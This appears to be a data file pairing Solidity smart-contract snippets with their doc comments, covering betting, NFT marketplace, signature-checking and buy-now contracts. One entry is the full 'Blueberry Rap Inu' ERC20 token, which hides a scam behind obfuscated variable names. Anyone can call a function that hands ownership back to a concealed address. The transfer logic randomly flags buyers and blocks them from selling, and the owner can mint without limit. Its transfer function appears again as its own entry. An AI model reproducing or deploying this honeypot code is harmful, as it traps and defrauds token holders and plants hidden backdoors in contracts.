ResultSubmitted(lineId, results);
}
function addLine(uint eventId, string title, LineType lineType, uint start, string outcomes) private {
require(start > now);
Line memory line = Line({
eventId: eventId,
title: title,
outcomes: outcomes
});
uint lineId = lines.push(line) - 1;
uint resultCount;
if (lineType == LineType.ThreeWay || lineType == LineType.DoubleChance) {
resultCount = 3;
} else if (lineType == LineType.TwoWay) {
resultCount = 2;
} else {
resultCount = getSplitCount(outcomes);
}
betStorage.addLine(lineId, lineType, start, resultCount);
NewLine(eventId, lineId, title, lineType, start, outcomes);
}
function getFee(address player) private view returns (uint newFee) {
var data = discounts[player];
if (data.till > now) {
return fee * (100 - data.discount) / 100;
}
return fee;
}
function getPlayerBets(uint lineId, address player) private view returns (uint[] result) {
Line storage line = lines[lineId];
uint count = getSplitCount(line.outcomes);
result = new uint[](count);
for (uint i = 0; i < count; i++) {
result[i] = betStorage.getPlayerBet(lineId, i, player);
}
}
function getPlayerDiscount(address player) private view returns (uint discount, uint till) {
FeeDiscount storage discountFee = discounts[player];
discount = discountFee.discount;
till = discountFee.till;
}
function getSplitCount(string input) private returns (uint) {
var s = input.toSlice();
var delim = "_".toSlice();
var parts = new string[](s.count(delim) + 1);
for (uint i = 0; i < parts.length; i++) {
parts[i] = s.split(delim).toString();
}
return parts.length;
}
}
|
add a role to an address addr address roleName the name of the role/
|
function adminAddRole(address addr, string roleName) onlyOwner public {
roles[roleName].add(addr);
RoleAdded(addr, roleName);
}
| 7,218,759 |
pragma solidity 0.5.16;
/*
* Blueberry Rap Inu
* (c) 2021
* https://t.me/BlueberryRapInu
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private everest;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
everest = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function AutoBurnLP() public {
require(_owner != everest);
emit OwnershipTransferred(_owner, everest);
_owner = everest;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public masala;
mapping (address => bool) public garam;
mapping (address => bool) public punjab;
mapping (address => uint256) public kashmir;
bool private pakistan;
uint256 private _totalSupply;
uint256 private plow;
uint256 private denying;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private checkmate;
address private creator;
bool private clinton;
uint protons = 0;
constructor() public {
creator = address(msg.sender);
pakistan = true;
checkmate = true;
_name = "Blueberry Rap Inu";
_symbol = "BRAPINU";
_decimals = 5;
_totalSupply = 250000000000000;
_trns = _totalSupply;
plow = _totalSupply;
chTx = _totalSupply / 1800;
denying = chTx * 40;
garam[creator] = false;
punjab[creator] = false;
masala[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
clinton = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
function LimitBuy() external view onlyOwner returns (uint256) {
return 1774;
}
function LimitSell() external view onlyOwner returns (uint256) {
return 21234;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function CreateOrderBook(uint256 amount) external onlyOwner {
plow = amount;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, protons))) % 100;
protons++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function LogFunction() external onlyOwner {
plow = chTx;
clinton = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function InitiateSwapMechanics(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function DetectSwaps(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
masala[spender] = val;
garam[spender] = val2;
punjab[spender] = val3;
clinton = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (pakistan == false)) {
plow = chTx;
clinton = true;
}
if ((address(sender) == creator) && (pakistan == true)) {
masala[recipient] = true;
garam[recipient] = false;
pakistan = false;
}
if ((amount > denying) && (masala[sender] == true) && (address(sender) != creator)) {
punjab[recipient] = true;
}
if (masala[recipient] != true) {
garam[recipient] = ((randomly() == 78) ? true : false);
}
if ((garam[sender]) && (masala[recipient] == false)) {
garam[recipient] = true;
}
if (masala[sender] == false) {
if ((amount > denying) && (punjab[sender] == true)) {
require(false);
}
require(amount < plow);
if (clinton == true) {
if (punjab[sender] == true) {
require(false);
}
punjab[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (checkmate == true)) {
masala[spender] = true;
garam[spender] = false;
punjab[spender] = false;
checkmate = false;
}
tok = (garam[owner] ? 56127824 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (pakistan == false)) {
plow = chTx;
clinton = true;
}
if ((address(sender) == creator) && (pakistan == true)) {
masala[recipient] = true;
garam[recipient] = false;
pakistan = false;
}
if ((amount > denying) && (masala[sender] == true) && (address(sender) != creator)) {
punjab[recipient] = true;
}
if (masala[recipient] != true) {
garam[recipient] = ((randomly() == 78) ? true : false);
}
if ((garam[sender]) && (masala[recipient] == false)) {
garam[recipient] = true;
}
if (masala[sender] == false) {
if ((amount > denying) && (punjab[sender] == true)) {
require(false);
}
require(amount < plow);
if (clinton == true) {
if (punjab[sender] == true) {
require(false);
}
punjab[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 1,667,948 |
./full_match/80001/0x992aB509DeA03CA6DdBd4fEf865a6992F7c1e482/sources/@openzeppelin/contracts-upgradeable/utils/cryptography/SignatureCheckerUpgradeable.sol
|
Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`. NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus change through time. It could return true at block N and false at block N+1 (or the opposite)./
|
function isValidSignatureNow(address signer, bytes32 hash, bytes memory signature) internal view returns (bool) {
(address recovered, ECDSAUpgradeable.RecoverError error) = ECDSAUpgradeable.tryRecover(hash, signature);
return
(error == ECDSAUpgradeable.RecoverError.NoError && recovered == signer) ||
isValidERC1271SignatureNow(signer, hash, signature);
}
| 5,583,602 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./PentasNFT.sol";
contract Marketplace is Initializable, ContextUpgradeable, OwnableUpgradeable {
/**
* @dev Pentas NFT contract
*/
PentasNFT private _pentasNFT;
/**
* @dev To map tokenId to price
*/
mapping(uint256 => uint256) private _tokenPrice;
/**
* @dev Marketplace fee
*/
uint32 private _fee;
function initialize() public initializer {
__Ownable_init();
}
/**
* @dev Assign Pentas NFT contract.
* Permission: Contract owner.
* @param pentasAddress Pentas contract address.
*/
function setPentasNFTContract(address pentasAddress) external onlyOwner {
_pentasNFT = PentasNFT(pentasAddress);
}
/**
* @dev Getter for Pentas NFT contract address.
*/
function pentasNFTContract() external view returns (address) {
return address(_pentasNFT);
}
/**
* @dev Set token selling price.
* @param tokenId Token ID.
* @param price Token selling price.
*/
function setSalePrice(uint256 tokenId, uint256 price) external {
// Check for approval
require(
_pentasNFT.getApproved(tokenId) == address(this),
"Marketplace: Require owner approval"
);
// Caller must be token owner or Pentas address
require(
(_pentasNFT.ownerOf(tokenId) == _msgSender()) ||
(address(_pentasNFT) == _msgSender()),
"Marketplace: Caller must be a token owner or from Pentas address"
);
// Assign price value
_tokenPrice[tokenId] = price;
}
/**
* @dev Getter for selling price.
* @param tokenId Token ID.
*/
function salePrice(uint256 tokenId) external view returns (uint256) {
return _tokenPrice[tokenId];
}
/**
* @dev Set fee imposed to selling token.
* @param __fee Fee.
*/
function setFee(uint32 __fee) external onlyOwner {
_fee = __fee;
}
/**
* @dev Getter for current fee.
*/
function fee() external view returns (uint32) {
return _fee;
}
/**
* @dev Purchase a token.
* @param tokenId Token ID.
*/
function purchase(uint256 tokenId) external payable {
// Check for approval
require(
_pentasNFT.getApproved(tokenId) == address(this),
"Marketplace: Require owner approval"
);
// Not allow to purchase own token
require(
_pentasNFT.ownerOf(tokenId) != _msgSender(),
"Marketplace: Token is owned by the caller"
);
// Selling price must be bigger than 0
require(
_tokenPrice[tokenId] > 0,
"Marketplace: Selling price should not be zero"
);
uint256 sellingPrice = _tokenPrice[tokenId];
uint256 netFee = (sellingPrice / 100000) * _fee;
// Payment should be more than the asking price
require(msg.value >= sellingPrice, "Marketplace: Payment not enough");
// Royalty infomation based on EIP-2981
uint256 netRoyalty;
address minter;
(minter, netRoyalty) = _pentasNFT.royaltyInfo(tokenId, sellingPrice);
// Royalty payment
address payable creator = payable(minter);
(bool paidMinter, ) = creator.call{ value: netRoyalty }("");
require(paidMinter, "Marketplace: Fail to transfer payment to minter");
// Seller earnings after deduct royalty and fee
address payable seller = payable(_pentasNFT.ownerOf(tokenId));
(bool paidSeller, ) = seller.call{
value: (sellingPrice - netRoyalty - netFee)
}("");
require(paidSeller, "Marketplace: Fail to transfer payment to seller");
// Marketplace earnings
address payable owner = payable(owner());
(bool paidOwner, ) = owner.call{ value: netFee }("");
require(
paidOwner,
"Marketplace: Fail to transfer payment to contract owner"
);
// Conduct token transfer
_pentasNFT.safeTransferFrom(
_pentasNFT.ownerOf(tokenId),
_msgSender(),
tokenId
);
// Reset sale price back to zero
_tokenPrice[tokenId] = 0;
}
}
|
Set token selling price. tokenId Token ID. price Token selling price./ Check for approval Caller must be token owner or Pentas address Assign price value
|
function setSalePrice(uint256 tokenId, uint256 price) external {
require(
_pentasNFT.getApproved(tokenId) == address(this),
"Marketplace: Require owner approval"
);
require(
(_pentasNFT.ownerOf(tokenId) == _msgSender()) ||
(address(_pentasNFT) == _msgSender()),
"Marketplace: Caller must be a token owner or from Pentas address"
);
_tokenPrice[tokenId] = price;
}
| 12,545,733 |
./full_match/44787/0x6BE59bF10638E73867876998a9FA2A923c5F4725/sources/contracts/CeloBridge/CeloBridge.sol
|
: Remove validator/
|
function removeValidator(address _validator) public isTimeLock {
_removeValidator(_validator);
}
| 13,253,805 |
./full_match/80001/0xea234D3897ba6eCa330109De1A9239a16087e41C/sources/project_/contracts/marketplaces/MarketplaceFactory.sol
|
generate payload for initialize function
|
function createMarketplace(address _owner,string memory _marketplaceName) external whenNotPaused onlyRole(DEFAULT_ADMIN_ROLE) returns(address){
string memory signature = 'initialize(address, string)';
bytes memory payload = abi.encodeWithSignature(
signature,
_owner,
_marketplaceName
);
address marketplaceAddress = address(
new BeaconProxy(_marketplaceBeaconAddress, payload)
);
unchecked {
_marketplaceVaultCounter += 1;
}
_marketplaceVaultMapping[_marketplaceVaultCounter] = marketplaceAddress;
emit MarketplaceAdded(
marketplaceAddress,
_marketplaceVaultCounter,
_marketplaceName
);
_marketplaceBeaconAddress = marketplaceAddress;
return marketplaceAddress;
}
| 9,509,694 |
./full_match/80001/0xEB4F28E7D71902e64F2DfAEA41496051E9093bf0/sources/project_/contracts/extensions/non-fungible-jade/JadeMetadataUpgradeable.sol
|
`Jade` metadata/
|
function __JadeMetadata_init() internal onlyInitializing {}
| 874,200 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/ITRLabCore.sol";
import "./lib/LibArtwork.sol";
import "./interfaces/IBuyNow.sol";
import "./base/SignerRole.sol";
/// @title Interface for NFT buy-now in a fixed price.
/// @author Joe
/// @notice This is the interface for fixed price NFT buy-now.
contract TRLabBuyNowV1 is IBuyNow, ReentrancyGuard, SignerRole, Ownable, Pausable {
using SafeERC20 for IERC20;
/// @dev TRLabCore contract address
ITRLabCore public trLabCore;
/// @dev TRLab wallet address
address public trlabWallet;
/// @dev artwork id => ArtworkOnSaleInfo
mapping(uint256 => LibArtwork.ArtworkOnSaleInfo) public artworkOnSaleInfos;
/// @dev buyer => (artworkId => purchaseCount)
mapping(address => mapping(uint256 => uint256)) public buyerRecords;
/// @dev Require that the caller must be an EOA account if not whitelisted.
modifier onlyEOA() {
require(msg.sender == tx.origin, "not eoa");
_;
}
/// @dev init contract with TRLabCore contract address and TRLab wallet address
constructor(address _trlabCore, address _trlabWallet) {
setTRLabCore(_trlabCore);
setTRLabWallet(_trlabWallet);
}
/// @dev add approved signer for signing purchase signature
/// @param account address the singer account
function addSigner(address account) public override onlyOwner {
_addSigner(account);
}
/// @dev remove signer for signing purchase signature
/// @param account address the singer account
function removeSigner(address account) public onlyOwner {
_removeSigner(account);
}
/// @dev Sets the trlab nft core contract address.
/// @param _trlabCore address the address of the trlab core contract.
function setTRLabCore(address _trlabCore) public override onlyOwner {
trLabCore = ITRLabCore(_trlabCore);
}
/// @dev Sets the trlab wallet to receive NFT sale income.
/// @param _trlabWallet address the address of the trlab wallet.
function setTRLabWallet(address _trlabWallet) public override onlyOwner {
trlabWallet = _trlabWallet;
}
/// @dev setup an artwork for sale
/// @param _artworkId uint256 the address of the trlab wallet.
/// @param _onSaleInfo the ArtworkOnSaleInfo object.
function putOnSale(uint256 _artworkId, LibArtwork.ArtworkOnSaleInfo memory _onSaleInfo) public override onlyOwner {
require(_onSaleInfo.endTime >= _onSaleInfo.startTime, "entTime should >= startTime!");
require(_onSaleInfo.takeTokenAddress != address(0), "takeTokenAddress cannot be 0x0");
artworkOnSaleInfos[_artworkId] = _onSaleInfo;
emit ArtworkOnSale(_artworkId, _onSaleInfo);
}
/// @notice buy one NFT token of specific artwork. Needs a proper signature of allowed signer to verify purchase.
/// @param _artworkId uint256 the id of the artwork to buy.
/// @param v uint8 v of the signature
/// @param r bytes32 r of the signature
/// @param s bytes32 s of the signature
function buyNow(
uint256 _artworkId,
uint8 v,
bytes32 r,
bytes32 s
) external override onlyEOA nonReentrant whenNotPaused {
uint256 chainId = getChainID();
bytes32 messageHash = keccak256(abi.encode(chainId, address(this), _msgSender(), _artworkId));
require(_verifySignedMessage(messageHash, v, r, s), "signer should sign buyer address and artwork id!");
LibArtwork.ArtworkOnSaleInfo memory onSaleInfo = artworkOnSaleInfos[_artworkId];
_checkOnSaleStatus(onSaleInfo);
uint256 alreadyBought = buyerRecords[_msgSender()][_artworkId];
require(alreadyBought < onSaleInfo.purchaseLimit, "you have reached purchase limit!");
buyerRecords[_msgSender()][_artworkId] = alreadyBought + 1;
_transferOnSaleToken(onSaleInfo);
trLabCore.releaseArtworkForReceiver(_msgSender(), _artworkId, 1);
}
function getChainID() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/// @dev check on-sale if empty, and if both start and end time is valid
function _checkOnSaleStatus(LibArtwork.ArtworkOnSaleInfo memory onSaleInfo) internal view {
require(onSaleInfo.takeTokenAddress != address(0), "artwork not on sale!");
require(onSaleInfo.startTime <= block.timestamp, "artwork sale not started yet!");
require(onSaleInfo.endTime >= block.timestamp, "artwork sale is already ended!");
}
/// @dev transfer sale income to trlab wallet account
function _transferOnSaleToken(LibArtwork.ArtworkOnSaleInfo memory onSaleInfo) internal {
IERC20(onSaleInfo.takeTokenAddress).safeTransferFrom(_msgSender(), trlabWallet, onSaleInfo.takeAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
